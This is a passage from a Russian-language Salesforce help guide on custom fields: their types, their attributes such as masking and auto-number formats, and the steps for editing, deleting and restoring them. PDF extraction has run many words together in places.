другую запись во всплывающем окне.

• Поле взаимосвязи поиска для внешнего объекта
ссылаетсяна 18-значные коды Salesforce, хранящиеся во
внешнем источнике данных. Данные коды
сопоставляются с родительским объектом для
определения связанных между собой записей.

Чтобы просмотреть все связанные записи, рекомендуем
воспользоваться связаннымспискомродительскойзаписи.
При необходимости создайте поля типа «Взаимосвязь
поиска», связанные с пользователями, стандартными или
настраиваемыми объектами. Если поле поиска ссылается
на удаленнуюзапись, то система Salesforce удаляет значение
поля поиска по умолчанию. При необходимости записи,
используемые во взаимосвязи поиска, могут быть
заблокированы от удаления.

Поля типа «Взаимосвязь поиска» недоступны в версии
Personal Edition.

Полятипа «Взаимосвязьпоиска» для участниковкампании
недоступны, но доступныполя типа «Взаимосвязь поиска»
из участников кампании для стандартных или
настраиваемых объектов.

Созданиевзаимосвязимеждузаписями, гдеосновная запись
контролирует некоторые алгоритмы подробной записи
(например, удаление и безопасность записи).

Недоступно для стандартных или внешних объектов,
однакосистемапозволяетсоздаватьполетипа «Взаимосвязь

Взаимосвязь «Основная — подробная»

"Основная — подробная"» для настраиваемого объекта,
связанного со стандартным объектом.

Взаимосвязь «Основная — подробная» неподдерживается
участниками кампании.

Данный типполя позволяет вводить любое число. Данное
числосчитается действительным, поэтомуначальныенули
удаляются.

Число

Прим.: ЗначениячисловыхполейвсистемеSalesforce
округляются в сторону увеличения. Например,
значение 12,345 округляется до 12,35, а значение
−12,345 округляется до -12,34. Система Salesforce
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ОписаниеТип

округляет числа в полях слияния в соответствии с
региональными настройками пользователя, а не до
количества знаков после запятой, указанного в
конфигурации числового поля.

Пользователимогут указыватьпроцентыввидедесятичных
чисел, например 0,10. Системаавтоматическипреобразует
десятичные числа в проценты, например 10 %.

Процент

Прим.: Точность значенийпосле 15-го десятичного
знака не гарантируется. Ввод значения с более чем
15 десятичными знакамии добавление к числу знака
процента приводят к ошибке выполнения.

Данный тип поля позволяет вводить любой номер
телефона. Данное поле может содержать не более
40 символов.

Система Salesforce автоматически форматирует введенное
значение как номер телефона.

Тел.

При использовании приложения Salesforce CRM Call Center
настраиваемыеполятипа «Тел.» отображаютсяпринажатии
кнопки . Таким образом, компания Salesforce не
рекомендуетиспользоватьнастраиваемоеполетипа «Тел.»
для ввода номера факса.

Прим.: Данное поле может быть зашифровано
посредствомшифрования платформы.

Данный тип поля позволяет выбирать одно значение из
заданного списка.Недоступно для внешних объектов.

Раскрывающийся список

Данныйтипполяпозволяетвыбиратьнесколькозначений
из заданного списка. Все значения данного поля отделены
точкой с запятой.Недоступно для внешних объектов.

Раскрывающийся список (множественный выбор)

Автоматическое отображение количества связанных
записей или вычисление суммы, минимального или

Сводное резюмирование

максимального значения связанных записей. Записи
должны быть напрямую связаны с выбранной записью и
выступать вролиподробныхвнастраиваемойвзаимосвязи
«Основная — подробная», установленной с объектом,
содержащим поле сводного резюмирования. Например,
настраиваемоеполе «Общееколичествогостей» отображает
количество записей настраиваемого объекта «Гость» в
связанном списке «Гости».Недоступно для внешних
объектов.
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ОписаниеТип

Данный тип поля позволяет вводить любую комбинацию
букв, цифр или символов. Максимальная длина:
255 символов.

Текст

Прим.: Данное поле может быть зашифровано
посредствомшифрования платформы.

Данный тип поля позволяет вводить любую комбинацию
букв, цифр или символов, хранящихся в зашифрованном

Текст (зашифрованный)

виде. Максимальнаядлина: 175 символов. Зашифрованные
поля используют основные ключи длиною 128 бит и
алгоритм AES (расширенный стандарт шифрования).
Основной ключшифрования может быть заархивирован,
удален или импортирован. Чтобы включить функцию
управленияосновнымиключамишифрования, обратитесь
в компанию Salesforce.Недоступно для внешних объектов.

Прим.: Данное поле может быть зашифровано
посредством классического шифрования; если
организация использует шифрование платформы,
то тип данных «Текст» может использоваться для
создания зашифрованного текстового поля.

Данныйтипполяпозволяетвводитьнеболее 255 символов,
отображающихся в отдельных строках (подобно полю
«Описание»).

Область текста

Данный тип поля позволяет вводить не более 131 072
символов, отображающихсявотдельныхстроках (подобно

Область подробного текста

полю «Описание»). При необходимости данному типу
поля может быть задана минимальная длина. Допускается
любая длина от 256 до 131 072 символов. Значение по
умолчанию: 32 768 символов. Обратите внимание, что при
каждом нажатии клавиши Enter внутри области
подробного текста добавляется разрыв строки и символ
возврата. Эти два символа учитываются ограничением,
равным 131 072 символам. Данный тип данныхнедоступен
для действий или продуктов возможностей. В отчете
отображаются только первые 254 символа области
подробного или обогащенного текста.

Прим.: Данное поле может быть зашифровано
посредствомшифрования платформы.

Панель инструментов позволяет форматировать
содержимое поля и добавлять изображения или

Область обогащенного текста

гиперссылки. Действия, доступныенапанелиинструментов:
отмена действия, повтор действия, выделение жирным
шрифтом, выделение курсивом, подчеркивание,
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ОписаниеТип

зачеркивание, добавление гиперссылки, загрузка
изображения или добавление ссылки на изображение,
выравнивание, добавление нумерованного или
маркированного списка, а также добавление отступов и
выступов. Максимальныйразмерполянедолженпревышать
131 072 символов, включая любое форматирование и все
HTML-теги. Отчет отображает только первые 254 символа
области подробного или обогащенного текста.
Максимальный размер загруженного изображения не
должен превышать 1 Мб. Поддерживаемые типыфайлов:
gif, jpeg и png.Недоступно для внешних объектов.

Данныйтипполяпозволяет вводитьнеболее 255 символов
любого действительного адреса веб-сайта. Чтобы открыть

URL-адрес

URL-адрес в отдельном окне обозревателя, щелкните по
полю. Обратите внимание, что страницы сведений о
записяхпозволяютотображать толькопервые 50 символов.

Прим.: Данное поле может быть зашифровано
посредствомшифрования платформы.

СМ. ТАКЖЕ:

Атрибуты настраиваемого поля

Чем отличаются стандартные поля от настраиваемых полей?

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии.

При необходимости дополните стандартные и настраиваемые объекты Salesforce
настраиваемымиполями, предоставляющиминеограниченныевозможностинастройки
организации. Несмотря на схожесть настраиваемых полей со стандартными полями,
поддерживаемыми системой Salesforce по умолчанию, стандартные и настраиваемые
поля отличаются друг от друга.

Настраиваемые объекты и поля позволяют определять данные для хранения в
соответствиистекущимитребованиямиорганизации. Несмотрянаподдержкунекоторых
стандартныхобъектови соответствующихстандартныхполей, предоставляемуюбазой
данных Force.com, пользователи могут быстро настраивать способы отслеживания и
составления отчетов по данным.

Настраиваемые объекты позволяют хранить важные корпоративные данные любого типа путем создания объектов.
Например, при разработке приложения по подбору кадров создайте настраиваемые объекты «Позиция» и «Соискатель»
для отслеживания информации об открытых вакансиях и соискателях соответственно.

Настраиваемые поля позволяют систематизировать и отслеживать данные более детально. Подобно стандартным
объектам, настраиваемые объекты содержат поля, определяющие данные для записей данных объектов.Например,
дополните настраиваемый объект «Соискатель» настраиваемым числовым полем «Стаж работы» или настраиваемый
объект «Позиция» настраиваемым текстовым полем «Описание». При необходимости добавьте настраиваемые поля в
настраиваемые и стандартные объекты.

Дополнительную информацию см. в разделах ниже.
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• Создание настраиваемых полей

• Редактирование настраиваемых полей

• Просмотр полей для отдельного объекта

• Создание формул

• Определение стандартных значений полей

• Дополнительные параметры настраиваемых полей

• Атрибуты настраиваемого поля

Атрибуты настраиваемого поля
Запись настраиваемого поля включает в себя ряд атрибутов.

ОписаниеПоле

Данноеполеопределяетколичествострок, котороедолжноотображаться
вполяхтипа «Областьподробноготекста» настраницахредактирования.

Количество отображаемых строк

Разрешается отображать от 2 до 50 строк (по умолчанию отображается
6 строк). Если выбранного количества строк недостаточно для
отображения текста, то поле отображает полосу прокрутки. Поля типа
«Область подробного текста» отображаются полностью на страницах
сведений и в версиях для печати.

Данноеполеопределяетспособпересчетаполясводногорезюмирования
послеизменениясвойств. Чтобыпересчитатьзначениеприследующем

Параметры расчета

отображении поля, выберите «Автоматический расчет». Чтобы
выполнить принудительный пересчет значений полей сводного
резюмирования, выберите «Выполнить пакетный пересчет данного
поля».

Имя, используемое в запросах взаимосвязи API SOQL.Имя дочерней взаимосвязи

Тип данных поля определяет тип информации, отображаемой в поле.
Например, поле, которому назначен тип данных «Число», содержит
положительное или отрицательное целое число.

Тип данных

Данноеполеопределяет количествосимволовдляполейчисел, валюты,
процентови геолокации, расположенныхсправаотдесятичнойзапятой.

Знаки после запятой

При необходимости система округляет введенные десятичные числа.
Например, еслиполе «Знаки после запятой» содержит значение «2»,
то число «4,986» автоматически округляется до числа «4,99».

Значение, применяемое при создании записи. Чтобы использовать
стандартное значение при создании записей, выберите значение

Стандартное значение

«Флажок установлен» или «Флажок снят» как стандартное для
настраиваемыхполейтипа «Кнопка-флажок». Нерекомендуемназначать
стандартные значения полям, которые одновременно являются
обязательными и уникальными, ввиду возможного возникновения
ошибок уникальности. См. раздел «Общие сведения о стандартных
значениях полей» на странице 4542.
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ОписаниеПоле

Текст, описывающий настраиваемое поле. Данное описание
предназначено только для администрирования и не отображается

Описание

пользователям на соответствующих страницах просмотра и
редактирования сведений о записи.

Чтобы настроить параметрыформатирования полей автонумерации
(например, минимальное количество начальных нулей и префикс или
индекс числа), заполните поле «Формат отображения».

Чтобы начать работу, введите обязательное минимальное значение {0}.
Оно будет использоваться в качестве структурного нуля для полей

Формат отображения

автонумерации, которые не содержат начальных нулей. Добавьте
префикспередструктурнымнулемивставьтелюбойтекстиндексапосле
структурного нуля. Вставьте любые префиксы или индексы даты в
формате {ГГ}, {ГГГГ}, {ММ} или {ДД}, которые всегда соответствуют
дате создания записи.

Дополнительную информацию об использованииформатов
автонумерации при заполнении поля «Формат отображения» см. в
подразделе «Примерыформатирования полей автонумерации» на
странице 4513.

При наличиифлажка данное настраиваемое поле шифруется
посредствомшифрования платформы.

Зашифровано

Прим.: Данные сведения относятся только к функции
шифрованияплатформыинеотносятсякфункцииклассического
шифрования.

Доступно только для внешних объектов. Данное поле позволяет
соотносить настраиваемое поле со столбцом таблицы внешнего
источника данных.

Прииспользованииполявзаимосвязипоиска укажите столбецвнешней
таблицы, содержащий 18-значные коды Salesforce.

Имя внешнего столбца

Каждыйобъект, поддерживающийнастраиваемыеполя, можетсодержать
не более семи настраиваемых полей автонумерации, эл. почты, чисел

Внешний код

или текста, используемых как внешний код. Поле «Внешний код»
содержит идентификаторы записи из системы, находящейся за
пределами Salesforce.

Поле «Внешний код» может использоваться для обновления или
обновленияи вставки записейпосредствомAPI. ПрииспользованииAPI
или мастеров импорта данных для настраиваемых объектов и решений
данное поле позволяет предотвратить создание повторов путем
назначения полю статуса уникального.

Прим.: Настраиваемые поля, помеченные как уникальные,
учитываютсяограничениемобъекта, составляющимнеболеесеми
полей «Внешний код». Настраиваемаяиндексация, выполняемая
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ОписаниеПоле

системой Salesforce автоматически в фоновом режиме, не
учитывается ограничениями для поля «Внешний код».

Недоступнодля внешнихобъектов.Каждыйвнешнийобъект содержит
стандартное поле «Внешний код». Его значения однозначно
определяют каждую запись внешнего объекта в организации.

Критерии, используемыедля выбора группызаписей, необходимыхдля
вычисления значения поля сводного резюмирования.

Критерийфильтрации

Данное поле позволяет вводить формулу для поля настраиваемой
формулы или настраиваемуюформулу резюмирования для отчетов.

Формулы

Всплывающий текст справки, отображаемый при наведении указателя
мыши на поле.

Текст справки

При использовании текстовых полей внешнего объекта определяет
данное настраиваемое поле в качестве поля имени внешнего объекта.

Является полем имени

Недоступно для полей типа «Область текста». По умолчанию
стандартное поле «Внешний код» является полем имени внешнего
объекта.

При установке данного флажка убедитесь, что поле «Имя внешнего
столбца» определяет столбец таблицы, содержащий значения имени.
Каждый внешний объект может содержать только одно поле имени.

Salesforce хранит значения имени поля для каждой строки, полученной
из внешней системы, но только для внутреннего использования. Этот
принцип не применяется к внешним объектам, связанным с крупными
внешними источниками данных.

Прииспользованиинастраиваемыхполейвнешнихобъектовопределяет
доступность поля для фильтрации.

Фильтрация отключена

Имя настраиваемого поля.Метка

Данное поле определяет максимальное количество символов, которое
может быть введено в текстовое поле (не более 255 символов).

Длина (для текстовых полей)

Данноеполеопределяет количествоцифр, котороеможетбыть введено
слева от десятичной запятой в поле чисел, валюты или процентов
(например, при значении «3» можно ввести число «123,98»).

Длина (дляполейчисел, валютыипроцентов)

Данное поле определяет символ, который должен заменить скрытые
символы зашифрованного текстового поля. Доступные значения: «*» и
«Х».

Символ маски

Данноеполеопределяет скрытыесимволызашифрованноготекстового
поля и наличие тире. Замаскированные символы скрываются

Тип маски

посредством символа, выбранного в поле «Символ маски». Доступные
значения:
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ОписаниеПоле

Скрыть все символы
Все символы поля скрыты.

Показать последние четыре символа
Все символы, кроме последних четырех, скрыты.

Номер кредитной карты
Первые 12 символов скрыты; последние 4 символа отображаются.
Система Salesforce автоматически вставляет тире после каждого
четвертого символа.

Номер социального страхования
Всесимволыскрыты. Еслиполесодержитдевятьсимволов, тосистема
Salesforce автоматически вставляет пробелы после каждой пары
символов. Рекомендуем использовать данное значение для полей
социального страхования в Великобритании.

Номер социального обеспечения
Первые 5 символов скрыты; последние 4 символа отображаются.
Система Salesforce автоматически вставляет тире после третьего и
пятого символов.

Номер социального страхования
Все символы, кроме последних трех, скрыты. Система Salesforce
автоматически вставляет тире после третьего и шестого символов.

Объект, являющийсяосновнымвовзаимосвязи «Основная—подробная»,
которая используется для отображения значения поля сводного
резюмирования.

Основной объект

Заголовок связанного списка, отображающего связанные дочерние
записи.

Метка связанного списка

Имя связанного объекта.Связано с

Данное поле назначает полю статус обязательного во всех областях
Salesforce. Недоступно для внешних объектов.

Обязательные настраиваемые поля участников кампании должны
содержать стандартные значения.

Обязательное

Не рекомендуем назначать стандартные значения полям, которые
одновременно являются обязательными и уникальными, ввиду
возможного возникновения ошибок уникальности. См. раздел
«Требование ввода поля для обеспечения качества данных»на странице
4593.
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ОписаниеПоле

Данное поле позволяет выбрать нужный тип вычисления для полей
сводного резюмирования.

ОписаниеТип

Тип сводки

Данный тип резюмирования суммирует количество
связанных записей.

COUNT

Данный тип резюмирования суммирует значения поля,
выбранного в параметре «Поле для объединения».
Доступны только поля чисел, валюты и процентов.

SUM

Данный тип резюмирования отображает минимальное
значение поля, выбранного в параметре «Поле для

MIN

объединения», длявсехсвязанныхзаписей. Доступнытолько
поля чисел, валюты, процентов, даты и даты/времени.

Данный тип резюмирования отображает максимальное
значение поля, выбранного в параметре «Поле для

MAX

объединения», длявсехсвязанныхзаписей. Доступнытолько
поля чисел, валюты, процентов, даты и даты/времени.

Поле автонумерации «Начальный номер» может содержать значение
не более 1 миллиарда. Чтобы применить автоматическую нумерацию

Начальный номер

ко всем текущим записям, начинающимся с введенного начального
номера, установите флажок «Создать автонумерацию для текущих
записей». Впротивномслучаеследующейвведеннойзаписиназначается
начальный номер, а предыдущие записи содержат пустое поле. При
использованииинтересовномерназначаетсятольконепреобразованным
интересам.

При создании записей значение поля «Начальный номер»
увеличивается в соответствии с числом, которое будет назначено
следующему новому полю автонумерации.После создания поля
автонумерации параметр «Начальный номер» нельзя редактировать.
Чтобы редактировать значение параметра «Начальный номер»,
измените типполя автонумерациина текстовый, а затемобратно. Чтобы
обнулить значенияпараметра «Начальный номер» дляполейобъектов
в управляемом пакете, удалите и повторно установите пакет.

Внимание: Убедитесь в отсутствии записей с дублированными
номерами автозаполнения.

Поле автонумерации может содержать не более 10 цифр и
20 дополнительных символов для префикса или индекса.
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ОписаниеПоле

Прим.:

• Metadata API не позволяет получить начальный номер поля
автонумерации. Чтобы указать «Начальный номер» при
развертывании, добавьте тег startingNumber к полю в
файле package.xml. Например:
<startingNumber>42</startingNumber>

• Если при запуске окажется, что значение параметра
«Начальный номер» не указано в файле package.xml,
начальным номером по умолчанию будет 0. Начальным
номером для настраиваемыхполейпо умолчаниюявляется 1.

Атрибут «Параметр общего доступа» для поля взаимосвязи
«Основная—подробная» определяетуровеньобщегодоступакосновной

Параметр общего доступа

записидлясоздания, редактированияилиудалениясвязанныхподробных
записей.

Прииспользованиинастраиваемыхполейвнешнихобъектовопределяет
доступность поля для сортировки.

Сортировка отключена

Объект, являющийся подробным во взаимосвязи
«Основная—подробная», которая используется для отображения
значения, вычисленного в поле сводного резюмирования.

Итоговый объект

Данныйфлажок предотвращает повторяющиеся значения поля.

Данныйфлажокпозволяетобрабатыватьидентичныезначениятекстовых
полей, различающиеся только регистром, как уникальные. Чтобы

Уникальное

применить уникальность без учета регистра, выберите «Рассматривать
"АБВ" и "абв" как повторяющиеся значения». Чтобы применить
уникальность с учетом регистра, выберите «Рассматривать "АБВ" и
"абв" как разные значения».

Прим.: Некоторые символы используют однобайтовую и
двухбайтовую версии. Например, обе версии поддерживаются
всеми следующими символами: “!@#$%^&*(){}[]\|:";',.<>?/~`”.

При сравнении значений уникальных полей обе версии данных
символов считаются идентичными.

Прим.: Настраиваемые поля, помеченные как уникальные,
учитываютсяограничениемобъекта, составляющимнеболеесеми
полей «Внешний код». Настраиваемаяиндексация, выполняемая
системой Salesforce автоматически в фоновом режиме, не
учитывается ограничениями для поля «Внешний код».

Данное поле содержит доступные значения для раскрывающихся
списков; каждоезначениеможетсодержатьнеболее 255 символов. Чтобы

Значения

отсортироватьзаписираскрывающихсясписковпоалфавиту, установите
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ОписаниеПоле

соответствующийфлажок. При необходимости выберите первое
значениев качестве стандартного. Приналичииобоихфлажковсистема
Salesforce сортирует записи и выбирает первое значение в качестве
стандартного.При использовании раскрывающихся списков со
множественным выбором введите список значений, выберите
применяемые параметры сортировки и укажите количество значений,
которое должно одновременно отображаться на страницах
редактирования. Количество значений определяет высоту поля.

Примеры форматирования полей автонумерации

Чтобы настроить формат отображения для полей автонумерации, воспользуйтесь примерами ниже.

Отображаемые значенияФормат

3 66 103{0}

003 066 103{000}

Образец- 00003 Образец- 00666 Образец- 10023Образец- {00000}

Значение- 03 12 02 04 Значение- 76 03 03 04 Значение- 123
11 09 04

Значение- {00} {ММ} {ДД} {ГГ}

Заказ №12233 12-20-04 Заказ №25 06-07-04 Заказ №3 07-07-04Заказ №{0} {ММ}-{ДД}-{ГГ}

СМ. ТАКЖЕ:

Создание настраиваемых полей

Создание взаимосвязи «Многие ко многим»
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Просмотр полей конкретного объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

Стандартные поля
недоступны в версии
Database.com

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

1. С помощью параметров управления для объекта, чьи поля нужно посмотреть,
перейдите к пункту «Поля».

2. Щелкните имя нужного поля.

3. Чтобы изменить настраиваемое поле или тип данных, нажмите кнопку «Правка».

4. Чтобы удалить настраиваемое поле, являющееся компонентом пакета
«Управляемый — выпущенный», нажмите кнопку «Удалить».

5. Чтобы настроить доступ пользователей к полю, нажмите кнопку «Настроить
параметрыбезопасностиполей». Доступнотольковорганизациях Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition.

6. Чтобыпросмотретьпользователей, имеющихдоступкполюнаосновеполномочий
и типа записи, нажмите кнопку «Просмотр доступности поля». Доступно только
ворганизациях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition.

7. Если поле является зависимым раскрывающимся списком, просмотрите список
зависимых управляющих полей. Чтобы определить зависимый раскрывающийся
список, нажмите кнопку «Создать». Чтобы изменить правила зависимости
раскрывающегося списка, щелкните ссылку «Правка». Чтобы удалить зависимость
раскрывающегося списка, щелкните ссылку «Удал.».

8. Еслинастраиваемоеполе является зависимымраскрывающимсясписком, щелкните
ссылку «[Изменить]» напротив нужного управляющего поля, чтобы изменить
правила зависимости раскрывающегося списка.

9. Чтобы создать правило проверки для поля, нажмите кнопку «Создать» в связанном
списке «Правила проверки». Чтобы изменить правило проверки, щелкните ссылку
«Правка». Чтобыудалитьправилопроверки, щелкните ссылку «Удал.». Недоступно
для внешних объектов.

10. Поля раскрывающихся списков позволяют добавлять новые значения, а также редактировать, заменять или удалять
текущие значения.

11. Чтобы восстановить поле и его данные, щелкните «Восстановить». Данное действие доступно только в том случае,
еслиполе удаленос возможностьювосстановления. Алгоритмвосстановленногополяможетотличатьсяот алгоритма
исходного поля. Дополнительную информацию о восстановлении полей см. в разделе «Управление удаленными
настраиваемыми полями».

Прим.: Если организация использует организации-лица, то страница «Поля организаций» содержит поля
организаций-лиц и организаций-компаний.

Организации-лица используют поля организаций и контактов. Ниже перечислены поля контактов, доступные для
организаций-лиц, но недоступные для организаций-компаний.

• Поля в списке «Организация: стандартные поля», помеченные значком организации-лица.

• Поля в списке «Контакт: настраиваемые поля и взаимосвязи».

СМ. ТАКЖЕ:

Настраиваемые параметры
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Редактирование настраиваемых полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Стандартные объекты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
полей:
• «Настройка

приложения»

1. В разделе настроек управления для объекта перейдите в раздел «Поля».

2. Щелкните «Правка» напротив имени поля.

3. Измените атрибуты поля. Доступные атрибуты определяются типом поля.

При редактировании раскрывающегося списка можно изменить его пункты и
значения. Параметры раскрывающихся списков см. в «Добавление и изменение
значений раскрывающихся списков» на странице 4522.

4. При необходимости определите текст настраиваемой справки для поля.

5. При необходимости определите фильтр поиска для полей взаимосвязи «Поиск» и
«Основная — подробная».

6. Чтобы изменить формулу, нажмите кнопку «Далее».

7. Чтобы настроить параметры безопасности поля в версии Enterprise Edition, Unlimited
Edition, Performance Edition или Developer Edition, нажмите кнопку «Далее».

8. Нажмите кнопку «Сохранить».

Прим.:

• Редактирование полей может инициировать одновременное изменение
большого количества записей. Для эффективной обработки этих изменений
запрос пользователя может быть поставлен в очередь, а после его выполнения
будет отправлено электронное уведомление.

• Чтобы определить способ отображения связанного списка настраиваемого
объектана страницесведенийородительскойзаписи, изменитемакет страницы
родительской записи. Например, чтобы изменить поля, отображаемые в
связанном списке настраиваемого объекта на страницах сведений об
организациях, измените макет страницы организаций.

• Если код Apex ссылается на настраиваемое поле, то параметр «Имя поля» не
может быть изменен.

• При редактировании полей для организаций, возможностей, обращений,
контактовилинастраиваемыхобъектоврекомендуемпроверитьлюбыеправила
общего доступа на основе критериев, использующие данныеполя. Изменение
поля может влиять на записи, предназначенные для общего доступа.

СМ. ТАКЖЕ:

Определение стандартных значений полей

Поиск по параметрам управления объектами
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Удаление полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удалениянастраиваемых
полей:
• «Настройка

приложения»

1. В разделе настроек управления для объекта перейдите в раздел «Поля».

2. Щелкните ссылку «Удал.» напротив имени нужного поля.

3. Чтобы подтвердить удаление, установите флажок «Да, удалить настраиваемое
поле» и нажмите кнопку «Удалить» в окне предупреждения.

Удаленные настраиваемые поля и их данные хранятся в течение 15 дней или до
момента удаления самой организацией (в зависимости от того, что наступит ранее).
В течение этого времени удаленные поля и данные могут быть восстановлены.
Дополнительнуюинформациюовосстановленииудаленныхнастраиваемыхполей
и взаимосвязей см. в разделе «Управление удаленными настраиваемыми полями» на
странице 4517.

Прим.:

• Прежде чем удалить настраиваемое поле, просмотрите области его
использования. Настраиваемоеполе, используемоедругимикомпонентами, не
можетбытьудалено. Например, настраиваемоеполе, используемоеобновлением
поля или Apex, не может быть удалено.

• Поле, обновляемоефоновым заданием (например, обновление поля сводного
резюмирования), не может быть удалено. Дождитесь завершения фонового
задания и повторите попытку.

• Удаление настраиваемого поля инициирует удаление всех данных журнала
поля и прекращение отслеживания изменений.

• Периодически система выполняет фоновый процесс, который позволяет
очиститьметаданные, связанныесудаленныминастраиваемымиполями. Данный
процессвлияетнаполя «Дата последнего изменения» и «Последнее изменение
сделано», используемые в макетах страниц, типах записей и настраиваемых
объектах.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Управление удаленными настраиваемыми полями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Макеты страниц и поля
интересов недоступны в
версиях: Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для восстановления
удаленных настраиваемых
полей и взаимосвязей:
• «Настройка

приложения»

Для необратимого удаления
настраиваемых полей или
взаимосвязей:
• «Настройка

приложения»

Deleted custom fields and their data are stored until your organization permanently deletes them
or 15 days has elapsed, whichever happens first. В течение этого времени удаленные поля и
данные могут быть восстановлены. Тем не менее, поле продолжает учитываться
максимальным количеством настраиваемых полей, разрешенным в организации.

1. В разделе настроек управления для объекта перейдите в раздел «Поля».

2. Щелкните ссылку «Удаленные поля» внизу списка настраиваемых полей и
взаимосвязей. Общее количество удаленных настраиваемых полей для данного
объекта указано в скобках. Данная ссылка отображается только при наличии
удаленного настраиваемого поля.

3. Ниже перечислены действия, доступные в списке удаленных полей.

• Чтобы просмотреть сведения о поле, щелкните метку нужного поля.

• Чтобы безвозвратно удалить настраиваемое поле и его данные, щелкните
«Удалить».

• Чтобы восстановить поле и его данные, щелкните «Восстановить». Некоторые
атрибуты удаленных полей не могут быть восстановлены автоматически. Чтобы
восстановить эти атрибуты вручную, выполните указанные ниже действия.

a. Добавьте поле в любые макеты страниц, измененные при удалении
настраиваемогополя. Восстановленноеполе сохраняется в отчетахимакетах
страниц, которые не редактировались.

b. При необходимости назначьте полю статус уникального. Система Salesforce
автоматически удаляет атрибут уникальности из любого удаленного
настраиваемого поля.

c. Принеобходимостиназначьтеполюстатусобязательного. Система Salesforce
автоматически удаляет атрибут обязательности из любого удаленного
настраиваемого поля.

d. Добавьте настраиваемое поле в соответствующие пакеты Force.com
AppExchange. Система Salesforce автоматически удаляет удаленные
настраиваемые поля из соответствующих пакетов.

e. Принеобходимостипреобразуйтелюбыевзаимосвязи «Поиск» вовзаимосвязи
«Основная—подробная». Система Salesforce преобразует все удаляемые
взаимосвязи во взаимосвязи «Поиск». Чтобы преобразовать взаимосвязь «Поиск» во взаимосвязь
«Основная—подробная», заполните все соответствующие записи нужными данными.

f. Переопределите любые зависимости полей, удаленные системой Salesforce при удалении поля.

g. Отредактируйте и сохраните любые поля формулы. Сохранение инициирует проверку синтаксиса. При
необходимости исправьте найденные ошибки.

h. Принеобходимости настройтефункциюотслеживанияжурнала поля. Если список полей, предназначенных
для отслеживания журнала, изменяется во время процесса удаления, то восстановленное поле исключается из
отслеживания журнала.
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Примечания по восстановленным настраиваемым полям

• При удалении настраиваемого поля имя разработчика дополняется следующими символами (если удаленное поле
еще не содержит имени разработчика): «_del». Данные символы сохраняются при восстановлении настраиваемого
поля.

• Поляформулывосстанавливаютсявотключенномсостоянии, поэтомумогут содержатьобновленныеданныетолько
послеихредактированияисохранения. Еслиполеформулыотключено, тоформулавозвращает значение «#Ошибка!».

• Восстановленные поля отображаются в результатах поиска только через некоторое время после их восстановления.
Отображение восстановленного настраиваемого поля и его данных в результатах поиска может занять некоторое
время.

• Поля интересов, соотнесенные с полями организаций, контактов или возможностей для преобразования интересов,
сохраняют свои соотнесения при восстановлении.

• Поля типа «Автонумерация» сохраняют нумерацию после удаления и содержат правильные значения после
восстановления.

• Данные журнала восстанавливаются для удаленного настраиваемого поля.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами

Дополнительные параметры настраиваемых полей
Изменение макетов страниц

Чтобыизменитьрасположениеновогонастраиваемогополя, изменитемакет страницыдля соответствующейвкладки.

Использование типов записей
Еслиорганизацияиспользует типызаписей, измените значенияраскрывающегося списка, доступныедля типа записи.

Отслеживаниежурнала настраиваемого поля
Пользователь может выбрать настраиваемые поля для отслеживания в связанном списке «Журнал» настраиваемых и
основных стандартных объектов. Все записи журнала содержат информацию о дате, времени, характере и авторе
изменений. Данные журнала не учитываются в ограничениях, заданных для хранилища организации.

Использование средства перевода
Если организация использует средство перевода, уведомите переводчиков о необходимости перевода новых полей.

Настраиваемые поля действий
Настраиваемые поля действий могут применяться только к задачам, только к событиям или к обоим типам действий.
Например, создайте поле «Затраченное время» и добавьте его в макеты страниц событий и задач.

Соотнесение настраиваемых полей интересов
Чтобы выбрать настраиваемые поля интересов, которые должны быть соотнесены с настраиваемыми полями
организаций, контактов или возможностей во время преобразования интереса, щелкните «Соотнесение полей
интересов».
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Советы по использованию поля типа «Область обогащенного текста»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Чтобыизменить внешнийвид текста, включаядобавлениеизображенийи гиперссылок,
воспользуйтесь полями типа «Область обогащенного текста».

Содержимоеполейтипа «Областьобогащенноготекста» можетбытьотформатировано
посредством HTML-редактора Salesforce.

Прим.: Обновленныйредакторнеподдерживается обозревателем Internet Explorer
7 или 8 в режиме совместимости. При использовании данных обозревателей
отображается устаревший редактор.

Советы по внедрению

• Чтобы определить размер окна редактора для поля обогащенного текста, измените
свойство «Количество отображаемых строк» при настройке поля.

• При просмотре или печати содержимого система Salesforce сохраняет
отформатированную HTML-версию в полях типа «Область обогащенного текста».

• Поиски содержимого, полям которого назначается тип «Область обогащенного
текста», пропускают изображения и теги.

• Удаление поля типа «Область обогащенного текста» инициирует его перемещение
в раздел «Удаленные поля» страницы сведений о настраиваемом объекте или типе
статьи Salesforce Knowledge.

• Поля типа «Областьобогащенного текста» могутбытьпреобразованытолько вполя
типа «Область подробного текста». Все изображения удаляются при следующем
сохранении поля типа «Область подробного текста». Преобразованное поле типа «Область подробного текста»
